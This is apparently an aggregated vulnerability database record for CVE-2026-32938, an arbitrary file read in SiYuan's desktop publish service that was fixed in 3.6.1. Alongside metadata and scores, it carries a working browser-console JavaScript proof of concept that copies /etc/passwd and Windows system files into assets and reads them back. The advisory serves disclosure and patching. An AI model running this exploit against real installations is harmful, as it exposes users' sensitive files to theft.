{"id":"CVE-2026-32938","aliases":["CVE-2026-32938","GHSA-fq2j-j8hc-8vw8","GO-2026-4722"],"related":[],"kind":"vulnerability","state":"published","title":"SiYuan has an Arbitrary File Read in its Desktop Publish Service","summary":"SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"SiYuan is a personal knowledge management system. In versions 3.6.0 and below, the /api/lute/html2BlockDOM on the desktop copies local files pointed to by file:// links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with GET /assets/*path, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files. This issue has been fixed in version 3.6.1.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nIn SiYuan, `/api/lute/html2BlockDOM` on the desktop copies local files pointed to by `file://` links in pasted HTML into the workspace assets directory without validating paths against a sensitive-path list. Together with `GET /assets/*path`, which only requires authentication, a publish-service visitor can cause the desktop kernel to copy any readable sensitive file and then read it via GET, leading to exfiltration of sensitive files.\n\n### Details\n\n#### 1. Arbitrary local files copied into workspace\n\n- **Endpoint**: `POST /api/lute/html2BlockDOM`, protected only by `model.CheckAuth`; publish read-only role is not restricted.\n- **Behavior**: On desktop (`util.ContainerStd == model.Conf.System.Container`), local absolute paths from `<a href=\"file://...\">` in the HTML are copied to `{DataDir}/assets/`.\n- **Missing check**: The code does not call `util.IsSensitivePath(localPath)` before copying, so any readable file (e.g. `/etc/passwd`, `~/.ssh/id_rsa`) can be copied into assets.\n\n#### 2. Direct access to assets via GET\n\n- **Endpoint**: `GET /assets/*path` (`kernel/server/serve.go`), protected only by `model.CheckAuth`; no publish-scope or admin check.\n- **Behavior**: The path is resolved with `model.GetAssetAbsPath(\"assets\" + path)` and the file is served with `http.ServeFile`; any authenticated request (including publish visitors) can access existing asset files.\n- **Attack chain**: The visitor calls html2BlockDOM to copy a sensitive file into `data/assets/`, extracts `data-href=\"assets/xxx\"` from the returned DOM, then requests `GET /assets/xxx` to retrieve the file content.\n\n### PoC\n\n```javascript\n// Run in the browser devtools console while on the SiYuan publish service\n(async () => {\n  try {\n    // Paths below fall under util.IsSensitivePath prefixes (/etc, c:\\windows\\system32)\n    const sensitiveFiles = [\n      'file:///etc/passwd',\n      'file:///etc/group',\n      'file:///C:/Windows/System32/drivers/etc/hosts',\n      'file:///C:/Windows/System32/drivers/etc/services',\n    ];\n    const dom = '<p>' + sensitiveFiles.map(f => `<a href=\"${f}\">x</a>`).join(' ') + '</p>';\n    const r1 = await fetch('/api/lute/html2BlockDOM', {\n      method: 'POST',\n      headers: { 'Content-Type': 'application/json' },\n      body: JSON.stringify({ dom }),\n      credentials: 'same-origin',\n    });\n    const { data } = await r1.json();\n    const paths = [...(data || '').matchAll(/data-href=\"(assets\\/[^\"]+)\"/g)].map(m => m[1]);\n    for (const p of paths) {\n      const r2 = await fetch('/' + p, { credentials: 'same-origin' });\n      if (r2.ok) console.log('--- ' + p + ' ---\\n' + (await r2.text()));\n    }\n  } catch (_) {}\n})();\n```\n\n### Impact\n\nWith only normal authentication, an attacker can bypass intended directory restrictions and read any sensitive file that the process can read on the desktop user’s machine (e.g. system account data, network configuration, credential configs), compromising confidentiality of sensitive data and the runtime environment.","format":"markdown","source":"ghsa"},{"lang":"en","text":"SiYuan Vulnerable to Arbitrary File Read in Desktop Publish Service in github.com/siyuan-note/siyuan/kernel","format":"markdown","source":"go"},{"lang":"es","text":"SiYuan es un sistema de gestión de conocimiento personal. En las versiones 3.6.0 e inferiores, la API /api/lute/html2BlockDOM en el escritorio copia archivos locales a los que apuntan los enlaces file:// en HTML pegado al directorio de activos del espacio de trabajo sin validar las rutas contra una lista de rutas sensibles. Junto con GET /assets/*path, que solo requiere autenticación, un visitante del servicio de publicación puede hacer que el kernel del escritorio copie cualquier archivo sensible legible y luego lo lea a través de GET, lo que lleva a la exfiltración de archivos sensibles. Este problema ha sido solucionado en la versión 3.6.1.","source":"nvd"}],"published":"2026-03-17T14:07:57.000Z","modified":"2026-06-17T10:36:35.860Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:H","score":9.9,"rating":"CRITICAL"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-22","CWE-200","CWE-284"],"affected":[{"ranges":[{"version":"< 3.6.1","status":"affected"}],"vendor":"siyuan-note","product":"siyuan","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","lastAffected":"0.0.0-20260313024916-fd6526133bb3"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected"}],"ecosystem":"Go","package":"github.com/siyuan-note/siyuan/kernel","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel","source":"go"},{"ranges":[{"status":"affected","fixed":"3.6.1"}],"vendor":"b3log","product":"siyuan","cpe":"cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-fq2j-j8hc-8vw8","tags":["advisory","exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/siyuan-note/siyuan/commit/294b8b429dea152cd1df522cddf406054c1619ad","tags":["patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/siyuan-note/siyuan/releases/tag/v3.6.1","tags":["release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32938","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/siyuan-note/siyuan","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-03-20T15:46:52.839Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-32938","url":"https://www.cve.org/CVERecord?id=CVE-2026-32938","licence":"CVE Terms of Use","modified":"2026-03-20T15:47:02.647Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-fq2j-j8hc-8vw8","url":"https://github.com/advisories/GHSA-fq2j-j8hc-8vw8","licence":"CC-BY-4.0","modified":"2026-03-30T14:02:48.000Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4722","url":"https://pkg.go.dev/vuln/GO-2026-4722","licence":"CC-BY-4.0","modified":"2026-03-26T21:03:11.127Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-32938","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-32938","licence":"Public domain","modified":"2026-06-17T10:36:35.860Z"}],"updatedAt":"2026-11-25T22:59:16.268Z","epss":{"score":0.00471,"percentile":0.42337,"date":"2026-12-01T12:00:22.000Z"}}